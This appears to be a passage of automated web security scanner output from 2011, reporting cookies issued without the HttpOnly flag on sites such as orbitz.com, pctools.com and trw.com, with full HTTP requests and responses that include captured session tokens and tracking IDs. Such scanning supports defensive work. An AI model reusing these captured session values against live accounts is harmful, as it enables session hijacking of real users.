GET /hotels/United_States--NY/New_York/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=F3E51A36EFA6771EA083391BE90BF2E0; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:36 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:29 GMT Content-Length: 553304
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /trips/writeReview?popupsDisabled=true HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /account/login?destinationUrl= HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=026995801E92D176318AD90FEB65F6DB; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:30:31 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:16:23 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 17662
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /account/registration HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=A7D6B6C6B73BC640D7493A94555D7334; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:30:35 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:16:28 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 23404
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /trips/writeReview?hotelId=24684 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=B15415278A3C667686225B11283FD050; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:30:39 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:16:31 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 10776
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /flux/login_sync.jhtml HTTP/1.1 Host: www.parentsconnect.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /flux/widgetRedirect.jhtml HTTP/1.1 Host: www.parentsconnect.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=771d08fef2eb643a0448e203f42a969f; expires=Thu, 03 Feb 2011 08:00:19 GMT; path=/; domain=pctools.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /free-antivirus/ HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache X-Powered-By: PHP/4.4.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI DSP COR NID CUR ADMo TAIo OUR STP COM STA" pics-label: (pics-1.1 "http://www.icra.org/ratingsv02.html" l gen true for "http://www.pctools.com" r (nz 1 vz 1 lz 1 oz 1 cz 1)) Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Thu, 03 Feb 2011 06:48:20 GMT Content-Length: 31858 Connection: close Set-Cookie: PHPSESSID=771d08fef2eb643a0448e203f42a969f; expires=Thu, 03 Feb 2011 08:00:19 GMT; path=/; domain=pctools.com
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Free AntiVirus Download and Removal | PC Tools AntiVirus</title> <met ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=odm00hplmonq2l4mff2kcmq426; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.ratedesi.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 06:48:24 GMT Server: Apache/2.2.16 (EL) X-Powered-By: PHP/5.2.14 Set-Cookie: PHPSESSID=odm00hplmonq2l4mff2kcmq426; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 40328
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> <html> <head> <meta property="fb:admins" content="406321" /> <meta property="fb:page_id" content="3797 ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.ratestogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 16:17:05 GMT Server: Microsoft-IIS/6.0 P3P: CP="NOI DEVa TAIa OUR BUS UNI" X-Powered-By: ASP.NET pragma: no-cache cache-control: private Content-Length: 36648 Content-Type: text/html; Charset=windows-1252 Expires: Tue, 01 Feb 2011 16:17:04 GMT Set-Cookie: %7CSearchEng%7C=%7C%7C%7C%7C2011%2D2%2D4%7C2011%2D2%2D5%7C; path=/ Set-Cookie: ASPSESSIONIDCCCQTTTR=EJHDHHOAFENFKDLJMBLPCAFD; path=/ Cache-control: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <html> <head> <meta http-equiv ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2009/03/25/xss-rays/ HTTP/1.1 Host: www.thespanner.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /feed/ HTTP/1.1 Host: www.thespanner.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 04:05:19 GMT Server: Apache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 ETag: "6c51f36d9d91eddf89ad7e385f7489b4" Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache X-Pingback: http://www.thespanner.co.uk/xmlrpc.php X-Powered-By: PHP/4.4.9 Set-Cookie: PHPSESSID=30d99f83d276fec46ee4ae51e26c3ad8; path=/ Last-Modified: Wed, 26 Jan 2011 12:40:05 GMT Connection: close Content-Type: text/xml; charset=UTF-8 Content-Length: 40187
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Hotel_Review-g60745-d114150-Reviews-Millennium_Bostonian_Hotel-Boston_Massachusetts.html HTTP/1.1 Host: www.tripadvisor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/"> <head> <m ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
SESSec9a802c73b09f70b19df80cd6286d02=kdi10q8smc5gnbf5onr9ocvdj0; expires=Sat, 26 Feb 2011 07:39:57 GMT; path=/; domain=.trw.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.trw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 04:06:37 GMT Server: Apache/2.2.10 (Win32) PHP/5.2.6 X-Powered-By: PHP/5.2.6 Set-Cookie: SESSec9a802c73b09f70b19df80cd6286d02=kdi10q8smc5gnbf5onr9ocvdj0; expires=Sat, 26 Feb 2011 07:39:57 GMT; path=/; domain=.trw.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Thu, 03 Feb 2011 04:06:37 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 10693
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <head> < ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /wordpress-plugins/vipers-video-quicktags/ HTTP/1.1 Host: www.viper007bond.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.webveteran.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 16:18:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=8274078;expires=Fri, 25-Jan-2041 16:18:06 GMT;path=/ Set-Cookie: CFTOKEN=6e10d540d2ad2506-07AAEE68-5056-A306-AFB2AD5DA2DEAF48;expires=Fri, 25-Jan-2041 16:18:06 GMT;path=/ Set-Cookie: SKIP=1;expires=Wed, 09-Feb-2011 16:18:06 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="e ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=uf1lnmege12chjo60cjanrpo16; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.wordpresstemplates.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 21:35:08 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.9 X-Pingback: http://www.wordpresstemplates.com/xmlrpc.php Set-Cookie: PHPSESSID=uf1lnmege12chjo60cjanrpo16; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 95923
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/x ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adServer/clicks HTTP/1.1 Host: a.intentmedia.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 400 Bad Request Cache-Control: must-revalidate,no-cache,no-store Content-Type: text/html; charset=iso-8859-1 Date: Tue, 01 Feb 2011 15:29:52 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI COM NAV INT" Server: Jetty(6.1.17) Set-Cookie: intentmedia_user_id=f0de1dbf-3ef3-4076-9917-ad3e51bd5cda;Path=/;Expires=Wed, 25-Jul-12 15:29:52 GMT Via: 1.1 a.intentmedia.net Content-Length: 1384 Connection: Close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adServer/impressions?product_category=hotels&site=ORBITZ_GLOBAL&time_zone_offset=360&rooms=1&travelers=2&travel_date_start=20110201&travel_date_end=20110202&submarket_id=11231&search_term=Boston%2C%20MA%2C%20United%20States&results_page_number=1&sort_order=BEST_VALUE&is_logged_in_user=N&is_registered_user=Y&cache_buster=1296573896115&travelers_in_room_one=2&ad_unit_id=2 HTTP/1.1 Host: a.intentmedia.net Proxy-Connection: keep-alive Referer: http://www.orbitz.com/shop/hotelsearch?type=hotel&hotel.typeOfSearch=keyword&hotel.locationKeywordInput.key=Boston%2C+MA%2C+United+States&hotel.locId=loc.pid%3A11231&hotel.locationAddressInput.addressInput.countryCode=US&hotel.locationAddressInput.addressInput.addressLine1=&hotel.locationAddressInput.addressInput.city=&hotel.locationAddressInput.addressInput.stateProvinceCode=&hotel.locationAddressInput.addressInput.postalCode=&hotel.hotelSearchDetails.checkinDate=02%2F01%2F11&hotel.hotelSearchDetails.checkoutDate=02%2F02%2F11&hotel.hotelSearchDetails.numberOfRooms=1&hotel.hotelSearchDetails.rooms%5B0%5D.numberOfAdults=2&hotel.hotelSearchDetails.rooms%5B1%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B2%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B3%5D.numberOfAdults=1&hotel.hotelRating=&hotel.hotelChain=&hotel.hotelName=&hotel.couponCode=&search=Search Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/javascript; charset=ISO-8859-1 Date: Tue, 01 Feb 2011 15:24:12 GMT Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI COM NAV INT" Server: Jetty(6.1.17) Set-Cookie: intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;Path=/;Expires=Wed, 25-Jul-12 15:24:12 GMT Via: 1.1 a.intentmedia.net Content-Length: 7378 Connection: keep-alive
try{if (IntentMedia) {IntentMedia.set_intentmedia_user_id('e6908583-79a9-4ea3-a0a2-86edabb110c5');IntentMedia.render_ads(2, {"ad_units":[{"ad_unit_style":"font-family: Arial, Helvetica, sans-serif; wi ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /-/spec/opensearch/1.1/ HTTP/1.1 Host: a9.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:17:52 GMT Server: Server Content-Type: text/html; charset=utf-8 Content-Length: 2727 Set-Cookie: a9locale=en_US; Domain=.a9.com; Path=/ Set-Cookie: a9Temp="{\"w\":\"g\"}"; Version=1; Domain=.a9.com; Path=/ Vary: Accept-Encoding,User-Agent Connection: close
<html> <head>
<script language="javascript" type="text/javascript"> <!-- var a9IsIE7 = true; var a9IsIE = true; var a9IsMoz = false; var a9IsSafari = false; var a9IsOpera = false;
The following cookie was issued by the application and does not have the HttpOnly flag set:
id=c653243310000d9|1984865/1006548/15007|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
